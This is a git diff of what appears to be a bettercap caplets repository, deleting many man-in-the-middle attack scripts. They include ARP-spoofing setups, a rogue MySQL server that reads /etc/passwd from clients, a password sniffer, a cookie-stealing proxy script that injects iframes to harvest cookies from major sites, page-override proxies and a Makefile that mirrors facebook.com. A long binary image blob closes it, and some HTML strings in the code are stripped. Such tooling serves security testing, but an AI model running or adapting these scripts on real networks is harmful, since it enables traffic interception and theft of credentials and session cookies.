res.Headers.split("\r\n"); - for (var i = 0; i < headers.length; i++) { - header_name = headers[i].replace(/:.*/, ""); - res.RemoveHeader(header_name); - } - res.SetHeader("Server", "bettercap"); - res.SetHeader("Connection", "close"); - res.Status = 200; - res.ContentType = "text/html"; - res.Body = "" + - "" + - "Test Page" + - "" + - "" + - "
Hello world from bettercap!
" + - "" + - ""; - } -} - -// called after a request is proxied and there's a response -function onResponse(req, res) { - if( res.Status == 404 ){ - headers = res.Headers.split("\r\n"); - for (var i = 0; i < headers.length; i++) { - header_name = headers[i].replace(/:.*/, ""); - res.RemoveHeader(header_name); - } - res.SetHeader("Server", "bettercap"); - res.SetHeader("Connection", "close"); - res.ContentType = "text/html"; - res.Body = "" + - "" + - "Test 404 Page" + - "" + - "" + - "
Custom 404 from bettercap.
" + - "" + - ""; - } -} diff --git a/pwnagotchi-auto.cap b/pwnagotchi-auto.cap index 1d5530e..bf19d88 100644 --- a/pwnagotchi-auto.cap +++ b/pwnagotchi-auto.cap @@ -1,7 +1,7 @@ # enable interface monitor mode and define wifi interface to be mon0 set wifi.interface wlan0mon -# api listening on http://127.0.0.1:8081/ and ui to http://127.0.0.1 +# api listening on http://127.0.0.1:8081/ set api.rest.address 127.0.0.1 set api.rest.port 8081 set api.rest.username pwnagotchi diff --git a/pwnagotchi-manual.cap b/pwnagotchi-manual.cap index e501b38..e419418 100644 --- a/pwnagotchi-manual.cap +++ b/pwnagotchi-manual.cap @@ -1,16 +1,12 @@ # enable interface monitor mode and define wifi interface to be mon0 set wifi.interface wlan0mon -# api listening on http://0.0.0.0:8081/ and ui to http://0.0.0.0 +# api listening on http://0.0.0.0:8081/ set api.rest.address 0.0.0.0 set api.rest.port 8081 -set http.server.address 0.0.0.0 -set http.server.port 80 -set http.server.path /usr/local/share/bettercap/ui set api.rest.username pwnagotchi set api.rest.password pwnagotchi set api.rest.websocket true # go! api.rest on -http.server on diff --git a/rogue-mysql-server.cap b/rogue-mysql-server.cap deleted file mode 100644 index 9d6efea..0000000 --- a/rogue-mysql-server.cap +++ /dev/null @@ -1,21 +0,0 @@ -# set the target for arp spoofing -set arp.spoof.targets 192.168.1.236 - -# bind rogue mysql server to localhost and -# set the file we want to read -set mysql.server.address 127.0.0.1 -set mysql.server.port 3306 -set mysql.server.infile /etc/passwd -mysql.server on - -# set the ip from the mysql server we want to impersonate -set tcp.address 93.184.216.34 -set tcp.port 3306 - -# set the ip from the rogue mysql server -set tcp.tunnel.address 127.0.0.1 -set tcp.tunnel.port 3306 - -# go ^_^ -tcp.proxy on -arp.spoof on \ No newline at end of file diff --git a/rtfm/rtfm.cap b/rtfm/rtfm.cap deleted file mode 100644 index e5a6ab8..0000000 --- a/rtfm/rtfm.cap +++ /dev/null @@ -1,8 +0,0 @@ -# targeting the whole subnet by default, to make it selective: -# -# sudo ./bettercap -caplet rtfm.cap -eval "set arp.spoof.targets 192.168.1.64" - -clear -set http.proxy.script rtfm.js -http.proxy on -arp.spoof on diff --git a/rtfm/rtfm.js b/rtfm/rtfm.js deleted file mode 100644 index 6a6c582..0000000 --- a/rtfm/rtfm.js +++ /dev/null @@ -1,24 +0,0 @@ -function onRequest(req, res) { - req.Path = req.Path.replace('-you-did-not-rtfm', ''); -} - -function onResponse(req, res) { - if (res.ContentType.indexOf("text/html") == 0) { - var body = res.ReadBody(); - res.Body = body.replace( - /\.(jpg|jpeg|png|gif|bmp)/gi, - '-you-did-not-rtfm.$1' - ); - } - else if (res.ContentType.indexOf("image/jpeg") != -1) { - headers = res.Headers.split("\r\n"); - for (var i = 0; i < headers.length; i++) { - header_name = headers[i].replace(/:.*/, ""); - res.RemoveHeader(header_name); - } - res.SetHeader("Connection", "close"); - res.Status = 200; - res.Body = readFile("/usr/local/share/bettercap/caplets/www/rtfm_cat.jpg"); - log("RTFM! " + req.Hostname + req.Path + ( req.Query ? "?" + req.Query : '')); - } -} diff --git a/simple-passwords-sniffer.cap b/simple-passwords-sniffer.cap deleted file mode 100644 index 3a207f5..0000000 --- a/simple-passwords-sniffer.cap +++ /dev/null @@ -1,10 +0,0 @@ -set net.sniff.regexp .*password=.+ -set net.sniff.output passwords.cap - -# start arp spoofing attack -# arp.spoof on -net.sniff on - - - - diff --git a/steal-cookies/README.md b/steal-cookies/README.md deleted file mode 100644 index 193d08d..0000000 --- a/steal-cookies/README.md +++ /dev/null @@ -1,4 +0,0 @@ -# Steal cookies - -Enumerate each domain from file and steal all cookies without `Secure` flag. - diff --git a/steal-cookies/domains.txt b/steal-cookies/domains.txt deleted file mode 100644 index 51c5c95..0000000 --- a/steal-cookies/domains.txt +++ /dev/null @@ -1,10 +0,0 @@ -google.com -youtube.com -facebook.com -baidu.com -wikipedia.org -reddit.com -yahoo.com -google.co.in -qq.com -amazon.com \ No newline at end of file diff --git a/steal-cookies/steal-cookies.cap b/steal-cookies/steal-cookies.cap deleted file mode 100644 index e9513cf..0000000 --- a/steal-cookies/steal-cookies.cap +++ /dev/null @@ -1,3 +0,0 @@ -set steal-cookies.domains /usr/share/bettercap/caplets/steal-cookies/domains.txt -set http.proxy.script steal-cookies.js -http.proxy on diff --git a/steal-cookies/steal-cookies.js b/steal-cookies/steal-cookies.js deleted file mode 100644 index 6e358e5..0000000 --- a/steal-cookies/steal-cookies.js +++ /dev/null @@ -1,104 +0,0 @@ -var victims = {} - -function Rf(s) -{ - return "\033[31m" + s + "\033[0m" -} -function Rb(s) -{ - return "\033[41m" + s + "\033[0m" -} - -function onLoad() -{ - log( "Cookies steal module loaded." ); - log( "targets: " + env['arp.spoof.targets'] ); -} - -function onRequest(req, res) -{ - var ip = req.Client.IP, - hostname = req.Hostname, - headers, cookies - - headers = req.Headers.replace(/\r\n$/g, "").split("\r\n") - for (var i = 0; i < headers.length; i++) - { - header_name = headers[i].replace(/:.*/, "") - if(header_name == 'Cookie') - cookies = headers[i].replace(/.*?: /, ""); - } - - if( req.Query.indexOf('__steal') != -1 ) - { - if(cookies) - log( Rb( "[+] " + ip + " - " + hostname + " " + cookies ) ) - - if( victims[ip] && victims[ip].length ) - { - var hostname_index = victims[ip].indexOf(hostname) - if( hostname_index != -1 ) - victims[ip].splice( hostname_index, 1 ) - - if( victims[ip].length ) - res.Body = '\n' + - '

\n' + - '\n' + - '\n' + - '' - else - res.Body = 'end stealing' - res.Status = 200 - res.ContentType = "text/html" - res.Headers = "Connection: close" - } - } -} - -function onResponse(req, res) -{ - if( res.ContentType.indexOf('text/html') == 0 ) - { - var body = res.ReadBody(), - ip = req.Client.IP - - if(! victims[ip] ) - { - victims[ip] = readFile(env["steal-cookies.domains"]).toString().split('\n') - body = body.replace( - '', - '' - ) - body = body.replace( - '', - '' - ) - - log( Rf( "[*] new victim: " + ip + " - " + victims[ip][0] ) ) - - res.Body = body - res.Status = 200 - res.ContentType = "text/html" - res.Headers = "Connection: close" - } - else if( victims[ip].length && req.Query.indexOf('__steal') == -1 ) - { - body = body.replace( - '', - '' - ) - body = body.replace( - '', - '' - ) - - log( Rf( "[*] continue stealing: " + ip + " - " + victims[ip][0] ) ) - - res.Body = body - res.Status = 200 - res.ContentType = "text/html" - res.Headers = "Connection: close" - } - } -} diff --git a/tcp-req-dump/tcp-req-dump.cap b/tcp-req-dump/tcp-req-dump.cap deleted file mode 100644 index 4f51646..0000000 --- a/tcp-req-dump/tcp-req-dump.cap +++ /dev/null @@ -1,19 +0,0 @@ -# targeting the whole subnet by default, to make it selective: -# -# sudo ./bettercap -caplet tcp-req-dump.cap -eval "set arp.spoof.targets 192.168.1.64" - -# to make it less verbose -# events.stream off - -# we'll use this proxy script to dump requests -set tcp.proxy.script tcp-req-dump.js -set tcp.port 80 -# example.com -set tcp.address 93.184.216.34 -set tcp.proxy.port 8080 - -clear - -# go ^_^ -tcp.proxy on -arp.spoof on diff --git a/tcp-req-dump/tcp-req-dump.js b/tcp-req-dump/tcp-req-dump.js deleted file mode 100644 index da95cfa..0000000 --- a/tcp-req-dump/tcp-req-dump.js +++ /dev/null @@ -1,13 +0,0 @@ -function onLoad() { - log("TCP module loaded") -} - -function onData(from, to, data) { - if( data.indexOf("Accept-Encoding: gzip, deflate") != -1 ) { - log("Disabling gzip response"); - data = data.replace("Accept-Encoding: gzip, deflate", "Accept-Encoding: text/plain"); - return data; - } - - return data.replace(/Example/g, "POPOPOP"); -} diff --git a/web-override/web-override.cap b/web-override/web-override.cap deleted file mode 100644 index 132ca56..0000000 --- a/web-override/web-override.cap +++ /dev/null @@ -1,15 +0,0 @@ -# targeting the whole subnet by default, to make it selective: -# -# sudo ./bettercap -caplet web-override.cap -eval "set arp.spoof.targets 192.168.1.64" - -set http.proxy.script web-override.js -http.proxy on -https.proxy on -arp.spoof on -events.clear - - - - - - diff --git a/web-override/web-override.js b/web-override/web-override.js deleted file mode 100644 index fbc9771..0000000 --- a/web-override/web-override.js +++ /dev/null @@ -1,13 +0,0 @@ -// Called before every request is executed, just override the response with -// our own html web page. -function onRequest(req, res) { - headers = res.Headers.split("\r\n"); - for (var i = 0; i < headers.length; i++) { - header_name = headers[i].replace(/:.*/, ""); - res.RemoveHeader(header_name); - } - res.SetHeader("Connection", "close"); - res.Status = 200; - res.ContentType = "text/html"; - res.Body = readFile("/usr/local/share/bettercap/caplets/www/index.html"); -} diff --git a/www/.gitignore b/www/.gitignore deleted file mode 100644 index 27bad81..0000000 --- a/www/.gitignore +++ /dev/null @@ -1 +0,0 @@ -www.facebook.com diff --git a/www/Makefile b/www/Makefile deleted file mode 100644 index 0322bf7..0000000 --- a/www/Makefile +++ /dev/null @@ -1,9 +0,0 @@ -all: facebook - -facebook: - wget -U "Mozilla/5.0 (Windows NT 5.2; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" -S -r www.facebook.com - find www.facebook.com -name "*.html" -print0 | xargs -0 sed -i "s/https:\/\/www.facebook.com//g" - -clean: - rm -rf www.facebook.com - diff --git a/www/index.html b/www/index.html deleted file mode 100644 index 7dccb06..0000000 --- a/www/index.html +++ /dev/null @@ -1,17 +0,0 @@ - - - - - You've just been RickRoll'd - - - - - - - - - - diff --git a/www/rtfm_cat.jpg b/www/rtfm_cat.jpg deleted file mode 100644 index 90487e3add36b49f07c8e8887c088aeb76feda24..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 80488 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

(my`Kj$M)Z83js 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 